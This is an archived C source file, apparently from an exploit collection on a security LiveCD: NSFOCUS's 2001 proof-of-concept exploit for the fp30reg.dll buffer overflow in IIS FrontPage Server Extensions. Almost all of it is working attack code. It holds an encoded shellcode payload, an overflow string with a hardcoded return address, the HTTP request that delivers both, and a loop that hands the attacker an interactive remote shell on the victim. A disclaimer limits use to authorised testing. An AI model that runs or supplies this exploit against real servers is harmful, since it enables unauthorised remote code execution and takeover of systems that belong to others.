home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / fpse2000ex.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  11KB  |  265 lines

  1. /*
  2.  *  fpse2000ex.c - Proof of concept code for fp30reg.dll overflow bug.
  3.  *  Copyright (c) 2001 - Nsfocus.com
  4.  *
  5.  *  DISCLAIMS:
  6.  *  This  is a proof of concept code.  This code is for test purpose 
  7.  *  only and should not be run against any host without permission from 
  8.  *  the system administrator.
  9.  * 
  10.  *  NSFOCUS Security Team <security@nsfocus.com>
  11.  *  http://www.nsfocus.com
  12.  */
  13.  
  14. #include  <stdio.h>
  15. #include  <sys/time.h>
  16. #include  <sys/types.h>
  17. #include  <netinet/in.h>
  18. #include  <netdb.h>
  19. #include  <signal.h>
  20. #include  <unistd.h>
  21. #include  <errno.h>
  22.  
  23. /* fat shellcode ;) */
  24. char shellcode[] =
  25.   "\xeb\x1a\x5f\x56\x56\x57\x5e\x33\xc9\xac\x3a\xc1\x74\x13\x3c\x30\x74\x5\x34"
  26.   "\xaa\xaa\xeb\xf2\xac\x2c\x40\xeb\xf6\xe8\xe1\xff\xff\xff\xff\x21\x46\x2b\x46"
  27.   "\xb6\xa3\xaa\xaa\xf9\xfc\xfd\x27\x17\x4e\x5c\x55\x55\x13\xed\xa8\xaa\xaa\x12"
  28.   "\x66\x66\x66\x66\x59\x1\x6d\x2f\x66\x5d\x55\x55\xaa\xaa\xaa\xaa\x21\xef\xa2"
  29.   "\x21\x22\x2e\xaa\xaa\xaa\x23\x27\x62\x5d\x55\x55\x21\xff\xa2\x21\x28\x22\xaa"
  30.   "\xaa\xaa\x23\x2f\x6e\x5d\x55\x55\x21\xe7\xa2\x21\xfb\xa2\x23\x3f\x6a\x5d\x55"
  31.   "\x55\x43\x61\xaf\xaa\xaa\x25\x2f\x16\x5d\x55\x55\x27\x17\x5a\x5d\x55\x55\xce"
  32.   "\xb\xaa\xaa\xaa\xaa\x23\xed\xa2\xce\x23\x97\xaa\xaa\xaa\xaa\x6d\x2f\x5a\x5d"
  33.   "\x55\x55\x55\x55\x55\x55\x21\x2f\x16\x5d\x55\x55\x29\x42\xad\x23\x2f\x5e\x5d"
  34.   "\x55\x55\x6d\x2f\x12\x5d\x55\x55\xaa\xaa\x4a\xdd\x42\xcd\xaf\xaa\xaa\x29\x17"
  35.   "\x66\x5d\x55\x55\xaa\xa5\x2f\x77\xab\xaa\xaa\x21\x27\x12\x5d\x55\x55\x2b\x6b"
  36.   "\xaa\xaa\xab\xaa\x23\x27\x12\x5d\x55\x55\x2b\x17\x12\x5d\x55\x55\xaa\xaa\xaa"
  37.   "\xd2\xdf\xa0\x6d\x2f\x12\x5d\x55\x55\xaa\xaa\x5a\x15\x21\x3f\x12\x5d\x55\x55"
  38.   "\x99\x6a\xcc\x21\xa8\x97\xe7\xf0\xaa\xaa\xa5\x2f\x30\x70\xab\xaa\xaa\x21\x27"
  39.   "\x12\x5d\x55\x55\x21\xfb\x96\x21\x2f\x12\x5d\x55\x55\x99\x63\xcc\x21\xa6\xba"
  40.   "\x2b\x53\xfa\xef\xaa\xaa\xa5\x2f\xd3\xab\xaa\xaa\x21\x3f\x12\x5d\x55\x55\x21"
  41.   "\xe8\x96\x21\x27\x12\x5d\x55\x55\x21\xfe\xab\xd2\xa9\x3f\x12\x5d\x55\x55\x23"
  42.   "\x3f\x1e\x5d\x55\x55\x21\x2f\x1e\x5d\x55\x55\x21\xe2\xa6\xa9\x27\x12\x5d\x55"
  43.   "\x55\x23\x27\x6\x5d\x55\x55\x21\x3f\x6\x5d\x55\x55\x2b\x90\xe1\xef\xf8\xe4\xa5"
  44.   "\x2f\x99\xab\xaa\xaa\x21\x2f\x6\x5d\x55\x55\x2b\xd2\xae\xef\xe6\x99\x98\xa5"
  45.   "\x2f\x8a\xab\xaa\xaa\x21\x27\x12\x5d\x55\x55\x23\x27\xe\x5d\x55\x55\x21\x3f"
  46.   "\x1e\x5d\x55\x55\x21\x2f\x12\x5d\x55\x55\xa9\xe8\x8a\x23\x2f\x6\x5d\x55\x55"
  47.   "\x6d\x2f\x2\x5d\x55\x55\xaa\xaa\xaa\xaa\x41\xb4\x21\x27\x2\x5d\x55\x55\x29\x6b"
  48.   "\xab\x23\x27\x2\x5d\x55\x55\x21\x3f\x6\x5d\x55\x55\x29\x68\xae\x23\x3f\x6\x5d"
  49.   "\x55\x55\x21\x2f\x1e\x5d\x55\x55\x21\x27\x2\x5d\x55\x55\x91\xe2\xb2\xa5\x27"
  50.   "\x6a\xaa\xaa\xaa\x21\x3f\x6\x5d\x55\x55\x21\xa8\x21\x27\x12\x5d\x55\x55\x2b"
  51.   "\x96\xab\xed\xcf\xde\xfa\xa5\x2f\xa\xaa\xaa\xaa\x21\x3f\x6\x5d\x55\x55\x21\xa8"
  52.   "\x21\x27\x12\x5d\x55\x55\x2b\xd6\xab\xae\xd8\xc5\xc9\xeb\xa5\x2f\x2e\xaa\xaa"
  53.   "\xaa\x21\x3f\x2\x5d\x55\x55\xa9\x3f\x2\x5d\x55\x55\xa9\x3f\x12\x5d\x55\x55"
  54.   "\x21\x2f\x1e\x5d\x55\x55\x21\xe2\x8e\x99\x6a\xcc\x21\xae\xa0\x23\x2f\x6\x5d"
  55.   "\x55\x55\x21\x27\x1e\x5d\x55\x55\x21\xfb\xba\x21\x2f\x6\x5d\x55\x55\x27\xe6"
  56.   "\xba\x55\x23\x27\x6\x5d\x55\x55\x21\x3f\x6\x5d\x55\x55\xa9\x3f\x6\x5d\x55\x55"
  57.   "\xa9\x3f\x6\x5d\x55\x55\xa9\x3f\x6\x5d\x55\x55\xa9\x3f\x12\x5d\x55\x55\x21\x2f"
  58.   "\x1e\x5d\x55\x55\x21\xe2\xb6\x21\xbe\xa0\x23\x3f\x6\x5d\x55\x55\x21\x2f\x6\x5d"
  59.   "\x55\x55\xa9\x2f\x12\x5d\x55\x55\x23\x2f\x66\x5d\x55\x55\x41\xaf\x43\xa7\x55"
  60.   "\x55\x55\x43\xbc\x54\x55\x55\x27\x17\x5a\x5d\x55\x55\x21\xed\xa2\xce\x9\xaa"
  61.   "\xaa\xaa\xaa\x29\x17\x66\x5d\x55\x55\xaa\xdf\xaf\x43\xf4\xa9\xaa\xaa\x6d\x2f"
  62.   "\x6\x5d\x55\x55\xab\xaa\xaa\xaa\x41\xa5\x21\x27\x6\x5d\x55\x55\x29\x6b\xab\x23"
  63.   "\x27\x6\x5d\x55\x55\x29\x17\x6\x5d\x55\x55\xa2\xd7\xc4\x21\x5e\x21\x3f\x16"
  64.   "\x5d\x55\x55\xf8\x21\x2f\xe\x5d\x55\x55\xfa\x55\x3f\x66\x5d\x55\x55\x91\x5e"
  65.   "\x3a\xe9\xe1\xe9\xe1\x21\x27\x6\x5d\x55\x55\x23\x2e\x27\x7a\x5d\x55\x55\x41"
  66.   "\xa5\x21\x3f\x16\x5d\x55\x55\x29\x68\xab\x23\x3f\x16\x5d\x55\x55\x21\x2f\x16"
  67.   "\x5d\x55\x55\xa5\x14\xa2\x2f\x63\xdf\xba\x21\x3f\x16\x5d\x55\x55\xa5\x14\xe8"
  68.   "\xab\x2f\x6a\xde\xa8\x41\xa8\x41\x78\x21\x27\x16\x5d\x55\x55\x29\x6b\xab\x23"
  69.   "\x27\x16\x5d\x55\x55\x43\xd0\x55\x55\x55\x6d\x2f\x8e\x5d\x55\x55\xa6\xaa\xaa"
  70.   "\xaa\x6d\x2f\x82\x5d\x55\x55\xaa\xaa\xaa\xaa\x6d\x2f\x86\x5d\x55\x55\xab\xaa"
  71.   "\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\x8e\x5d\x55\x55\xf8\x27\x2f\xe2\x5d\x55\x55"
  72.   "\xfa\x27\x27\xe6\x5d\x55\x55\xfb\x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
  73.   "\xe9\xe1\x21\x5e\xc0\xaa\x27\x3f\x8e\x5d\x55\x55\xf8\x27\x2f\xea\x5d\x55\x55"
  74.   "\xfa\x27\x27\xee\x5d\x55\x55\xfb\x55\x3f\x7e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
  75.   "\xe9\xe1\x27\x17\xca\x5d\x55\x55\x99\x6a\x13\xbb\xaa\xaa\xaa\x58\x1\x6d\x2f"
  76.   "\x26\x5d\x55\x55\xab\xab\xaa\xaa\xcc\x6d\x2f\x3a\x5d\x55\x55\xaa\xaa\x21\x3f"
  77.   "\xee\x5d\x55\x55\x23\x3f\x32\x5d\x55\x55\x21\x2f\xe2\x5d\x55\x55\x23\x2f\x36"
  78.   "\x5d\x55\x55\x21\x27\xe2\x5d\x55\x55\x23\x27\xa\x5d\x55\x55\x6d\x2f\x6\x5d\x55"
  79.   "\x55\xaa\xaa\xaa\xaa\x21\x5e\x27\x3f\xfa\x5d\x55\x55\xf8\x27\x2f\xca\x5d\x55"
  80.   "\x55\xfa\xc0\xaa\xc0\xaa\xc0\xaa\xc0\xab\xc0\xaa\xc0\xaa\x21\x27\x16\x5d\x55"
  81.   "\x55\xfb\xc0\xaa\x55\x3f\x72\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x23\x2f"
  82.   "\x6\x5d\x55\x55\x21\x3f\x16\x5d\x55\x55\x29\x68\xa2\x23\x3f\x16\x5d\x55\x55"
  83.   "\x21\x5e\xc0\xaa\xc0\xaa\x27\x2f\x96\x5d\x55\x55\xfa\xc2\xaa\xa2\xaa\xaa\x27"
  84.   "\x27\x56\x5d\x55\x55\xfb\x21\x3f\xe6\x5d\x55\x55\xf8\x55\x3f\x4a\x5d\x55\x55"
  85.   "\x91\x5e\x3a\xe9\xe1\xe9\xe1\x6d\x2f\x6\x5d\x55\x55\xa2\xaa\xaa\xaa\x21\x5e"
  86.   "\xc0\xaa\x27\x2f\x6\x5d\x55\x55\xfa\x21\x27\x16\x5d\x55\x55\x29\x6b\xa3\xfb"
  87.   "\x21\x3f\x6a\x5d\x55\x55\xf8\x55\x3f\x62\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9"
  88.   "\xe1\x12\xab\xaa\xaa\xaa\x2f\x6a\xa5\x2e\xf4\xab\xaa\xaa\x21\x5e\xc0\xaa\xc0"
  89.   "\xaa\x27\x27\x96\x5d\x55\x55\xfb\xc2\xaa\xa2\xaa\xaa\x27\x3f\x56\x5d\x55\x55"
  90.   "\xf8\x21\x2f\xe6\x5d\x55\x55\xfa\x55\x3f\x4a\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
  91.   "\xe9\xe1\x29\x17\x96\x5d\x55\x55\xaa\xd4\xcb\x21\x5e\xc0\xaa\x27\x27\x96\x5d"
  92.   "\x55\x55\xfb\x21\x3f\x96\x5d\x55\x55\xf8\x27\x2f\x56\x5d\x55\x55\xfa\x21\x27"
  93.   "\xe6\x5d\x55\x55\xfb\x55\x3f\x4e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x29"
  94.   "\x17\x96\x5d\x55\x55\xaa\xd4\x8c\x21\x5e\xc0\xaa\x27\x3f\x96\x5d\x55\x55\xf8"
  95.   "\x27\x2f\x56\x5d\x55\x55\xfa\x21\x27\x6a\x5d\x55\x55\xfb\x55\x3f\x62\x5d\x55"
  96.   "\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\x68\xaa\xaa\xaa\x6d\x2f\x96\x5d\x55\x55"
  97.   "\xaa\xa2\xaa\xaa\x21\x5e\x27\x3f\x96\x5d\x55\x55\xf8\x27\x2f\x56\x5d\x55\x55"
  98.   "\xfa\x21\x27\x6a\x5d\x55\x55\xfb\x55\x3f\x6e\x5d\x55\x55\x91\x5e\x3a\xe9\xe1"
  99.   "\xe9\xe1\x23\x2f\x6\x5d\x55\x55\x29\x17\x6\x5d\x55\x55\xab\xde\xf2\x6d\x2f\x6"
  100.   "\x5d\x55\x55\xa2\xaa\xaa\xaa\x21\x5e\xc0\xaa\x27\x3f\x6\x5d\x55\x55\xf8\x21"
  101.   "\x2f\x6\x5d\x55\x55\xfa\x21\x27\x16\x5d\x55\x55\xfb\x21\x3f\xea\x5d\x55\x55"
  102.   "\xf8\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x12\xab\xaa\xaa\xaa"
  103.   "\x2f\x6a\xde\xbc\x21\x5e\xc2\x55\x55\x55\xd5\x55\x3f\x46\x5d\x55\x55\x91\x5e"
  104.   "\x3a\xe9\xe1\xe9\xe1\x41\x4b\x41\x87\x21\x5e\xc0\xaa\x27\x27\x96\x5d\x55\x55"
  105.   "\xfb\x21\x3f\x96\x5d\x55\x55\xf8\x27\x2f\x56\x5d\x55\x55\xfa\x21\x27\xea\x5d"
  106.   "\x55\x55\xfb\x55\x3f\x42\x5d\x55\x55\x91\x5e\x3a\xe9\xe1\xe9\xe1\x43\x3f\x54"
  107.   "\x55\x55\x41\x54\xf2\xfa\x21\x17\x16\x5d\x55\x55\x23\xed\x58\x69\x21\xee\x8e"
  108.   "\xa6\xaf\x12\xaa\xaa\xaa\x6d\xaa\xee\x99\x88\xbb\x99\x6a\x69\x41\x46\x42\x9a"
  109.   "\x50\x55\x55\xe9\xd8\xcf\xcb\xde\xcf\xfa\xc3\xda\xcf\xaa\xe9\xd8\xcf\xcb\xde"
  110.   "\xcf\xfa\xd8\xc5\xc9\xcf\xd9\xd9\xeb\xaa\xe9\xc6\xc5\xd9\xcf\xe2\xcb\xc4\xce"
  111.   "\xc6\xcf\xaa\xfa\xcf\xcf\xc1\xe4\xcb\xc7\xcf\xce\xfa\xc3\xda\xcf\xaa\xf8\xcf"
  112.   "\xcb\xce\xec\xc3\xc6\xcf\xaa\xfd\xd8\xc3\xde\xcf\xec\xc3\xc6\xcf\xaa\xf9\xc6"
  113.   "\xcf\xcf\xda\xaa\xaa\xc9\xc7\xce\x84\xcf\xd2\xcf\xaa\xa7\xa0\xcf\xd2\xc3\xde"
  114.   "\xa7\xa0\xaa\xf2\xe5\xf8\xee\xeb\xfe\xeb\xaa";
  115.  
  116.  
  117.  
  118. int
  119. resolv (char *host, long *ip)
  120. {
  121.       struct hostent *hp;
  122.  
  123.       if ((*ip = inet_addr (host))<0) 
  124.       {
  125.         if ((hp = gethostbyname (host)) == NULL)
  126.         {
  127.           fprintf (stderr, "%s: unknown host\n", host);
  128.           exit (-1);
  129.         }
  130.        *ip = *(unsigned long *) hp->h_addr;
  131.      }
  132.   return 0;
  133. }
  134.  
  135. int
  136. connect_to (char *hostname, short port)
  137. {
  138.   struct sockaddr_in sa;
  139.   int s;
  140.  
  141.   s = socket (AF_INET, SOCK_STREAM, 0);
  142.   resolv (hostname, (long *) &sa.sin_addr.s_addr);
  143.   sa.sin_family = AF_INET;
  144.   sa.sin_port = htons (port);
  145.   if (connect (s, (struct sockaddr *) &sa, sizeof (sa)) == -1)
  146.     {
  147.        perror("connect");
  148.        exit(-1);
  149.    }
  150.  
  151.   return s;
  152. }
  153.  
  154.  
  155.  
  156. void
  157. runshell (int sockd)
  158. {
  159.   char buff[1024];
  160.   int ret;
  161.   fd_set fds;
  162.  
  163.   printf("\nPress CTRL_C to exit the shell!\n");
  164.   for (;;)
  165.     {
  166.  
  167.       FD_ZERO (&fds);
  168.       FD_SET (0, &fds);
  169.       FD_SET (sockd, &fds);
  170.  
  171.       if (select (sockd + 1, &fds, NULL, NULL, NULL) < 0)
  172.         {
  173.           exit (-1);
  174.         }
  175.  
  176.       if (FD_ISSET (sockd, &fds))
  177.         {
  178.           bzero (buff, sizeof buff);
  179.            if ((ret=read(sockd,buff,sizeof(buff)))<1)
  180.             {
  181.               fprintf (stderr, "Connection closed\n");
  182.               exit (-1);
  183.             }
  184.           write(1,buff,ret);
  185.         }
  186.  
  187.       if (FD_ISSET (0, &fds))
  188.         {
  189.           bzero (buff, sizeof buff);
  190.           ret=read(0,buff,sizeof(buff));
  191.           write(sockd,buff,ret);
  192.         }
  193.     }
  194. }
  195.  
  196.  
  197.  
  198. main (int argc, char **argv)
  199. {
  200.   char overbuff[400];
  201.   char buff[4096];
  202.  
  203. /* If system has the unicode bug, it is possible to attack fp4areg.dll */
  204. /* char fppath[] = "/_vti_bin/..%c1%9cbin/fp4areg.dll"; */
  205.  
  206.   char fppath[] = "/_vti_bin/_vti_aut/fp30reg.dll";
  207.   char server[] = "www.blahblah.com";
  208.   char retaddress[] = "\x62\x18\xd5\x67";
  209.   char jmpshell[] = "\xff\x66\x78";
  210.   int  i, sockfd;
  211.   int port = 80;
  212.  
  213.   if (argc < 2)
  214.     {
  215.       printf ("Proof of concept code for fp30reg.dll overflow bug by NSFOCUS Security Team\n\n");
  216.       printf ("Usage: %s victim [port]\n", argv[0]);
  217.       exit (-1);
  218.     }
  219.  
  220.   if (argc > 2) port = atoi (argv[2]);
  221.  
  222.   sockfd = connect_to (argv[1], port);
  223.  
  224.   bzero (overbuff, sizeof (overbuff));
  225.   bzero (buff, sizeof (buff));
  226.   memset (overbuff, 'a', 258);
  227.   memcpy (overbuff, jmpshell, strlen (jmpshell));
  228.   strcpy (overbuff + 258, "%c");
  229.   for (i = 0; i < 0x50; i += 4)
  230.       strncat (overbuff, retaddress, 4);
  231.   strcat (overbuff, "aaa");
  232.  
  233.   sprintf (buff,
  234.            "GET %s?%s HTTP/1.1 \nHOST:%s\r\nContent-Type: \
  235. text/html\nContent-Length:%d\r\nProxy_Connection: Keep-Alive\r\n\r\n%s",
  236.            fppath, overbuff, server, strlen (shellcode), shellcode);
  237.   printf ("buff len = %d\n", strlen (buff));
  238.  
  239.   write (sockfd, buff, strlen (buff));
  240.   printf ("payload sent!\n");
  241.  
  242.   if(read (sockfd, buff, strlen(buff))<0)
  243.   {
  244.     printf("EOF\n");
  245.     exit(-1);
  246.   }
  247.   else 
  248.   {
  249.     if(memcmp(buff,"XORDATA",8)==0)
  250.     {
  251.      printf("exploit succeed\n");
  252.      /* Press Enter key to get the command prompt */
  253.      runshell (sockfd);
  254.     }
  255.     else
  256.     {
  257.      printf("exploit failed\n");
  258.      close(sockfd);
  259.      exit(-1);
  260.     }
  261.   }
  262.  
  263. }
  264.  
  265.